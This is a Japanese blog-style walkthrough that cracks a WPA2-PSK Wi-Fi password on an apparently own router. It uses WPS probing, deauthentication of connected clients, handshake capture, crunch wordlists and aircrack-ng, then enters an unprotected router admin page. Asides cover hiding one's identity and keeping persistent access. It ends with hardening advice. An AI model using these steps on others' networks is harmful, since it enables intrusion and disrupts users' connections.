Wi-Fiに不正アクセスする手口
主旨
今回は、広く知られている手法である、WPA2-HOMEのWi-Fiパスワードを不正に入手する方法を学びます。
検証環境
今回攻撃に使用するのはベアメタルのKali Linuxです。
PC本体のNICをLinuxに認識させる必要があったので、Windows PCにクリーンインストールしました。
1万6千円で買った古いTOSHIBAのノートPCですが、無線NICをモニターモードに移行できるので重宝しています。
モニターモードに移行可能なNICのチップセット
有線のパケットキャプチャの場合、プロミスキャスモードにすることで他の端末の通信をキャプチャすることができますが、無線の場合はモニターモードにしないとキャプチャできません。
NICをモニターモードにできるかどうかは、ドライバとチップセットの相性が複雑に絡む運ゲーとなっており、Wi-Fiクラッキングを実践する上で地味に一番の障壁となります。
これまでKaliで動作実績が報告されているものは下記のチップセットです。
このような情報はWebや書籍で知ることができますが、動作が保証されているものは一つもありません。
- Prism
- Atheros Ath5xxx
- Atheros AR9271
- Intel PRO/Wireless 4965ABGN
- Intel PRO/Wireless 3945ABGN
- Broadcom BCM4306
- Ralink RT2570
- Ralink RT2860
- Ralink RT2870
- Ralink RT3070
- Ralink RT3572
- Ralink RT5572
- Ralink RT5370N
- Ralink RT73
- Realtek RTL8192CU
- Realtek RTL88xxx
- Realtek RT8812AU
- Realtek 8187L
- Intel AX200/AX201/AX210/AX211
準備
モニターモードへの切り替え
iwconfig
でwlan0
が表示されていれば、無線NICが認識されています。
┌──(kalina㉿kalina)-[~]
└─$ iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
ifconfig
にwlan0
が表示されていれば、NICが利用可能になっています。
┌──(kalina㉿kalina)-[~]
└─$ ifconfig wlan0
wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether e2:b3:16:f4:46:74 txqueuelen 1000 (Ethernet)
RX packets 7832 bytes 7212308 (6.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3994 bytes 1136283 (1.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
以降ほとんどsuper user権限が必要なので昇格しておきます。
┌──(kalina㉿kalina)-[~]
└─$ sudo su -
周囲をスキャンすると、たくさんの電波をキャッチできます。
以降、固有の識別子は伏せ字にしています。
┌──(root㉿kalina)-[~]
└─# iwlist wlan0 scan | grep ESSID
ESSID:"eoRT-00000xx-g"
ESSID:"aterm-0000xx-g"
ESSID:"elecom2g-X00000"
~snip~
今回のターゲットはeoRT-00000xx
です。この時点で、eo光多機能ルータであることがわかります。
このように初期設定のままで使っている人はかなり多いはずです。
┌──(root㉿kalina)-[~]
└─# iwlist wlan0 scan | grep eoRT-00000xx
ESSID:"eoRT-00000xx-g"
ESSID:"eoRT-00000xx-a"
下記の通りこのPCのNICのチップセットは、Intelの8260というものらしいです。
動作実績のあるチップセットとして報告されていないものですが、運が良かったみたいでモニターモードにすることができます。
┌──(root㉿kalina)-[~]
└─# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 8260 (rev 3a)
まずはNIC動作モード切り替えに影響するプロセスを停止させます。
ifconfig
でNICをdownさせる方法もあります。
┌──(root㉿kalina)-[~]
└─# airmon-ng check kill
Killing these processes:
PID Name
112088 wpa_supplicant
NICをモニターモードに切り替えます。
iwconfig
でmode monitorにする方法もあります。
┌──(root㉿kalina)-[~]
└─# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 8260 (rev 3a)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
”monitor mode enabled for wlan0 on wlan0mon”となっています。
Mode:
でモニターモードで動作していることを確認します。
先述の通り、NIC名称にmon
が付与されています。
┌──(root㉿kalina)-[~]
└─# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
ターゲットのAPをスキャンします。
どこでも良いからとにかく接続したいという愉快犯の場合は、これを眺めながら最も脆弱な(WEPなどの)APを見つけて狙いを定めることになると思いますが、今回は--essid
オプションで表示をフィルタしています。
ここでは下記のように、APの詳細情報や接続中のクライアントのMACアドレスなどを確認できます。
┌──(root㉿kalina)-[~]
└─# airodump-ng wlan0mon --essid eoRT-00000xx-g
CH 14 ][ Elapsed: 12 s ][ 2024-05-04 15:00
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
98:F1:99:0C:57:06 -46 17 0 0 1 195 WPA2 CCMP PSK eoRT-00000xx-g
BSSID STATION PWR Rate Lost Frames Notes Probes
(not associated) 18:48:BE:73:87:77 -79 0 - 1 0 7
ターゲットの暗号化方式がWPA2で、認証方式がPSKであることがわかりました。
これが運良くWEP方式なんかであった場合は、たくさんパケットキャプチャするだけでパスワードを解析できますが、今どきWEPが残っている方が珍しいのであまり魅力的ではありません。
WPSの解析
WPA方式のクラッキングでは、まずWPS機能を突破する方法から試してみます。
WPSは多くのAPに搭載されている”かんたん接続”てきな機能で、ボタンを押すだけとか、PIN(数字を8桁とか)を入力するだけで接続できる仕組みなので、これを突破することはパスワードを特定するよりも簡単です。
WPSスキャンツールのwash
でWPSのロック(Lck)が”No”と表示されていればWPSを利用できます。
┌──(root㉿kalina)-[~]
└─# wash -i wlan0mon
BSSID Ch dBm WPS Lck Vendor ESSID
--------------------------------------------------------------------------------
98:F1:99:0C:57:06 1 -49 1.0 No AtherosC eoRT-00000xx-g
C0:25:A2:55:AA:F6 1 -80 1.0 No AtherosC eoRT-0x0x0xx-g
C4:71:54:CE:82:1B 3 -90 2.0 No RalinkTe atsumi 2.4g
00:90:FE:C0:05:F9 6 -83 2.0 Yes AtherosC elecom2g-X00000
~snip~
wifite
を使うと簡単にWPSの解析ができるそうなのでそうします。
すぐにAPスキャンが実行されるので、ターゲットが表示されていればCtrl+cでスキャンを終了させます。
解析対象をどれにするか聞かれるので、今回はターゲットがリストされている”1”を入力します。
┌──(root㉿kalina)-[~]
└─# wifite
. .
.´ · . . · `. wifite2 2.7.0
: : : (¯) : : : a wireless auditor by derv82
`. · ` /¯\ ´ · .´ maintained by kimocoder
` /¯¯¯\ ´ https://github.com/kimocoder/wifite2
[!] Warning: Recommended app hcxdumptool was not found. install @ apt install hcxdumptool
[+] Using wlan0mon already in monitor mode
NUM ESSID CH ENCR PWR WPS CLIENT
--- ------------------------- --- ----- ---- --- ------
1 eoRT-00000xx-g 1 WPA-P 54db yes
2 XXXXXXXXXXXX-2G 11 WPA-P 27db yes
3 eoRT-0000000-g 7 WPA-P 26db yes
4 XXXXXXXXXXXX-2G 6 WPA-P 22db yes
5 00XXXXXXXXXX 11 WPA-P 22db no
6 eoRT-xxxxxxx-g 1 WPA-P 21db yes
~snip~
[+] Select target(s) (1-32) separated by commas, dashes or all: 1
下記のように解析が開始されたものの、pinが見つからないと言われました。
[+] (1/1) Starting attacks against 98:F1:99:0C:57:06 (eoRT-00000xx-g)
[+] eoRT-00000xx-g (52db) WPS Pixie-Dust: [4m57s] Failed: Reaver says "WPS pin not found"
[+] eoRT-00000xx-g (52db) WPS NULL PIN: [3m26s] Sending EAPOL (Timeouts:8)
この後も何度かアタックを実行してみたのですが、解析に失敗しました。
しかしまだ手段は残っています。
WPA2の解析
では次に、WPA2-HOMEの脆弱性を利用したクラッキングを試みます。
クライアントがWi-Fiに接続する際には4Wayハンドシェイクが行われます。
4Wayハンドシェイクで行われているやりとりは大体下記のようなものです。
4way handshake の動作
1.APが疑似乱数(aNonce)を作成して、暗号化や認証方式の情報とともにクライアントに送信
2.クライアントはそれを受けて、疑似乱数(sNonce)を作成し、MIC値とともにAPに送信
3.APはAPとクライアントのNonce値とMACアドレスで演算してPTK(ペア一時鍵)を作成し、MIC値が一致していればGTK(グループ一時鍵)とMIC値をクライアントに送信
4.クライアントはMIC値に誤りがないことを確認してACKを送信
省略しすぎて大事なところが抜けてるかんじなのですが、
ESSIDとパスフレーズがあればPMK(ペアマスター鍵)が生成できる。
PMKと4Wayハンドシェイク内のNonce値やMACアドレスを入手できれば、WPAを解読することができる。
ということだけ押さえておきます。
今回はパスフレーズが知りたいのですが、周辺情報からパスフレーズを逆算することはできないので、辞書や総当たりなどのワードリストを用意して、照合していく作業を行います。
ほとんどの場合でクライアント端末は、既知の利用可能なWi-Fiがあれば自動的に接続するようになっています。
そのため、接続済みのクライアントをわざと切断させれば、その場ですぐ再接続が行われることになります。
そこで、まずターゲットAPのチャンネル周波数においてパケットキャプチャを実行しておき、
その間に、接続済みクライアントを強制的に切断する攻撃を行います。
そうすることで、クライアントが再接続するときの4Wayハンドシェイクのパケットをキャプチャすることができます。
パケットキャプチャ
では、先ほどのスキャンで既にターゲットAPのBSSIDとチャンネルが判明しているので、下記のように指定してパケットキャプチャを開始します。
┌──(root㉿kalina)-[~]
└─# airodump-ng --bssid 98:F1:99:0C:57:06 --channel 1 --write handshake wlan0mon
15:29:20 Created capture file "handshake-01.cap".
CH 1 ][ Elapsed: 6 mins ][ 2024-05-04 15:35
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
98:F1:99:0C:57:06 -42 100 443 243345 643 1 195 WPA2 CCMP PSK eoRT-00000xx-g
BSSID STATION PWR Rate Lost Frames Notes Probes
98:F1:99:0C:57:06 AE:7A:2D:21:BC:27 -41 24e-24 0 2055
98:F1:99:0C:57:06 1C:91:80:D3:79:71 -36 24e-24e 0 247502
接続済みのクライアント端末が2台確認できているので、これらのクライアントに対して攻撃を行います。
下記のように新しいターミナルを起動して、今回は10発のDeAuthパケットを発信します。
┌──(root㉿kalina)-[~]
└─# aireplay-ng --deauth 10 -a 98:F1:99:0C:57:06 -c AE:7A:2D:21:BC:27 wlan0mon
15:34:27 Waiting for beacon frame (BSSID: 98:F1:99:0C:57:06) on channel 1
15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 1| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 1| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 1| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 2| 0 ACKs]
15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 A15:34:28 Sending 64 directed DeAuth (code 7). STMAC: [AE:7A:2D:21:BC:27] [ 0| 0 ACKs]
~snip~
クライアント端末で切断から再接続までを観察するとかなり短時間で、Zoomミーティングでもしていない限りは案外気づかないのではないかなと思います。
4Wayハンドシェイクが1回行われただけ、という程度では解析するのに十分ではないので、複数回の切断攻撃を行う必要があります。
クライアントが多数いる状態であれば各端末を1回ずつで良いのですが、今回は2台だけなので各端末に複数回の攻撃を行いました。
十分にパケットが収集できたら、キャプチャを終了します。
~snip~
CH 1 ][ Elapsed: 6 mins ][ 2024-05-04 16:39 ][ WPA handshake: 98:F1:99:0C:57:06
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
98:F1:99:0C:57:06 -45 100 3521 53015 0 1 195 WPA2 CCMP PSK eoRT-00000xx-g
BSSID STATION PWR Rate Lost Frames Notes Probes
98:F1:99:0C:57:06 AE:7A:2D:21:BC:27 -32 24e-24 0 9661 EAPOL
98:F1:99:0C:57:06 1C:91:80:D3:79:71 -37 1e- 6 0 57385 EAPOL
Quitting...
このようなファイル群が生成されます。
┌──(root㉿kalina)-[~]
└─# ls
handshake-01.cap handshake-01.kismet.csv handshake-01.log.csv
handshake-01.csv handshake-01.kismet.netxml
キーの解析
aircrack-ng
を使って、4Wayハンドシェイクが含まれたキャプチャファイルとワードリストを指定してオフラインでキーを解析できます。
┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w wordLists
まず辞書を使用してみたいと思うので、界隈で有名らしい辞書ファイルを入手します。
┌──(root㉿kalina)-[~]
└─# git clone https://github.com/kennyn510/wpa2-wordlists.git
Cloning into 'wpa2-wordlists'...
remote: Enumerating objects: 432, done.
remote: Total 432 (delta 0), reused 0 (delta 0), pack-reused 432
Receiving objects: 100% (432/432), 1.45 GiB | 10.86 MiB/s, done.
Resolving deltas: 100% (77/77), done.
Updating files: 100% (249/249), done.
使いたいファイルを解凍する必要があります。
┌──(root㉿kalina)-[~/wpa2-wordlists/Wordlists/Crackdown2016]
└─# gunzip *.gz
各ファイルの内容を結合します。cat(concatenate)コマンドの真価です。
┌──(root㉿kalina)-[~/wpa2-wordlists/Wordlists/Crackdown2016]
└─# cat *.txt >> allWordLists
5,800万行に及ぶファイルです。ホームディレクトリに移動しておきます。
┌──(root㉿kalina)-[~/wpa2-wordlists/Wordlists/Crackdown2016]
└─# wc -l allWordLists
58417390 allWordLists
┌──(root㉿kalina)-[~]
└─# mv wpa2-wordlists/Wordlists/Crackdown2016/allWordLists .
解析を実行します。Current passphraseの部分に、現在照合している文字列が変わるがわる表示されます。
人名や日付を含む推測可能な文字列が大量に収録されています。
┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w allWordLists
Read 111815 packets.
Aircrack-ng 1.7
[00:00:06] 25611/26488157 keys tested (3933.29 k/s)
Time left: 1 hour, 52 minutes, 7 seconds 0.10%
Current passphrase: A2Z9583
Master Key : 78 3F 5B X0 EA EA 8C 8B 02 03 95 BE A0 4C 4E 22
DB ED 3D 3E 3B X0 89 0A X0 12 DA 5D 35 2A X0 46
Transient Key : 2B 44 8C X0 BB 36 CB 05 83 X0 X0 X0 1F 92 6C 4E
X0 5A 1F 7D X0 FD BE X0 FF BF 8F FA X0 09 89 X0
X0 59 X0 56 61 CB 08 85 X0 7E BE 40 CA X0 X0 63
X0 42 90 68 34 13 1E X0 13 43 EF 2C X0 X0 7E 80
EAPOL HMAC : 0D 71 79 CE CF 58 74 X0 EE 63 X0 27 94 FF DF X0
今回ターゲットにしているパスワードの正解は、実は14桁のランダムな英数字です。
人間が設定したフレーズではないので、このような辞書は役に立たないかもしれません。
そうなると総当たりするしかありません。
数字とアルファベットの14桁の組み合わせをすべて書き出すとほんとに大変なことになるので、今回はチートで若干正解に寄せて考えていきます。
まず正解のパスフレーズに使用されている数字とアルファベットに限定して、総当たりの文字列を生成することにします。
┌──(root㉿kalina)-[~]
└─# crunch 14 14 234589acd -d 1 -o cr.txt
Crunch will now generate the following amount of data: 74217034874880 bytes
70778880 MB
69120 GB
67 TB
0 PB
Crunch will now generate the following number of lines: 4947802324992
これでも67TBになるらしく、PCのストレージが全然足りません。もう少しチートします。
パスフレーズの前半7文字に登場する英数字に限定した7桁と、後半に限定した7桁を組み合わせてみます。
┌──(root㉿kalina)-[~]
└─# crunch 7 7 678bcd -d 1 -o left
Crunch will now generate the following amount of data: 750000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 93750
crunch: 100% completed generating output
┌──(root㉿kalina)-[~]
└─# crunch 7 7 1234ac -d 1 -o right
Crunch will now generate the following amount of data: 750000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 93750
crunch: 100% completed generating output
ここまではすぐに処理が終わりました。
問題はこれらをすべて組み合わせる処理がどうなるかです。
┌──(root㉿kalina)-[~]
└─# while read -r LEFT; do while read -r RIGHT; do echo "${LEFT}${RIGHT}"; done < right; done < left > bruteForce
実行してから20時間ほど放置していたら、いつの間にか処理が終わっていて、プレーンテキストで27GBという恐るべきファイルができていました。
┌──(root㉿kalina)-[~]
└─# ls -lh ./bruteForce
-rw-r--r-- 1 root root 27G May 5 07:45 ./bruteForce
行数は驚愕の19億2千万行。
┌──(root㉿kalina)-[~]
└─# wc -l bruteForce
1920000000 bruteForce
解析を始めてみたのですが、5日間と半日かかる様子です。
┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w bruteForce
Read 111815 packets.
Aircrack-ng 1.7
[00:14:33] 3273160/1920000000 keys tested (3810.97 k/s)
Time left: 5 days, 19 hour, 42 minutes, 30 seconds 0.17%
~snip~
しかもこの解析中はCPU使用率が100%に張り付いている状態で、発熱がすごいです。
十分に充電したうえで冷藏庫に入れておきます。
当初は野菜室に入れていましたが、発熱が強くのちに冷蔵庫に移しました。
が、さすがにゴールデンウィークが終わりそうなので、もう少しチートを使うことにしました。
正解のパスワードと前半7文字が一致している文字列のみのワードリストを使用することにします。
┌──(root㉿kalina)-[~]
└─# cat bruteForce | egrep "^8dxxxxx" > minbrute
行数はたったの9万行程度になりました。
┌──(root㉿kalina)-[~]
└─# wc -l minbrute
93750 minbrute
解析を実行すると、今度は10秒程度でキーが発見できました。
┌──(root㉿kalina)-[~]
└─# aircrack-ng handshake-01.cap -w minbrute
Aircrack-ng 1.7
[00:00:22] 89830/93750 keys tested (4017.09 k/s)
Time left: 0 seconds 95.82%
KEY FOUND! [ 8dxxxxxxxxxxxx ]
Master Key : 15 X0 36 FF X0 X0 22 7E 5C DD 83 X0 6A BB 63 79
49 78 76 44 8C X0 AB 28 6C 28 47 FD 4A 43 X0 X0
Transient Key : DF AA X0 7F X0 AE C4 05 DC 72 12 5B 6E X0 X0 7A
21 59 3A 27 50 5C 8A 95 91 09 12 F5 AF EC 03 5D
79 35 DA 0D 1A E0 94 35 F1 DF 87 7A 0A 14 06 0A
1B 36 19 15 10 3A 1C X0 E9 BA X0 72 44 48 1F 96
EAPOL HMAC : X0 X0 X0 BB 2D FE 59 87 06 1C 04 49 8A 8E FE 58
NICをもとのモードに戻して、Wi-Fiに接続できるようにします。
┌──(root㉿kalina)-[~]
└─# ifconfig wlan0mon down
┌──(root㉿kalina)-[~]
└─# iwconfig wlan0mon mode managed
┌──(root㉿kalina)-[~]
└─# ifconfig wlan0mon up
┌──(root㉿kalina)-[~]
└─# systemctl restart NetworkManager
これで、特定したパスワードを使って、ターゲットのWi-Fiネットワークに接続することができます。
さて、めでたく繋がったとして、その後どうするのでしょうか。
悪いことをするためには、自分の居場所を隠す必要があります。
他人のネットワークを使って悪事を働けば、自分の身元が特定されにくくなります。
さらに、せっかくうまく侵入できたので、いつでもこの環境を不正利用できるようにもう少し工夫しておくこともあるでしょう。
今回の場合、初期状態のESSIDからeo光多機能ルータであることがわかっています。
eo光多機能ルータ 管理画面ログイン
で検索して、管理画面から設定を変更できるか試してみます。
管理画面へのアクセス
公式情報の通りhttp://192.168.0.1
にアクセスしてみます。
なんと、導入してから今まで管理画面のパスワードが設定されていないようです。
これでは侵入者が自分でパスワードを設定できてしまいます。
管理画面に入れば、インターネットからVPNに接続できるようにするなど、好きな設定がやり放題になります。
驚くべきですが、案外初期状態のまま使い続けている家庭は珍しくないのではないでしょうか。。
最後に
ということで、キャプチャファイルさえあれば、
あとはストレージ容量、マシンパワー、電力と時間さえあれば、WPA2であってもクラッキング可能なことがわかりました。ただし、
・たくさんの文字数
・数字、大文字小文字、記号
・予測できないランダムな順番
という要素を満たすほど、解析に必要なリソースが天文学的に増加するので、現実的には不可能になるという感じですかね。
皆さんは、Wi-FiのSSID、パスワード、管理画面、各設定をきちんと見直して、セキュアなゴールデンウィークをお過ごしください。
今回の偉大なる参考書籍
ありがとうございました。
Discussion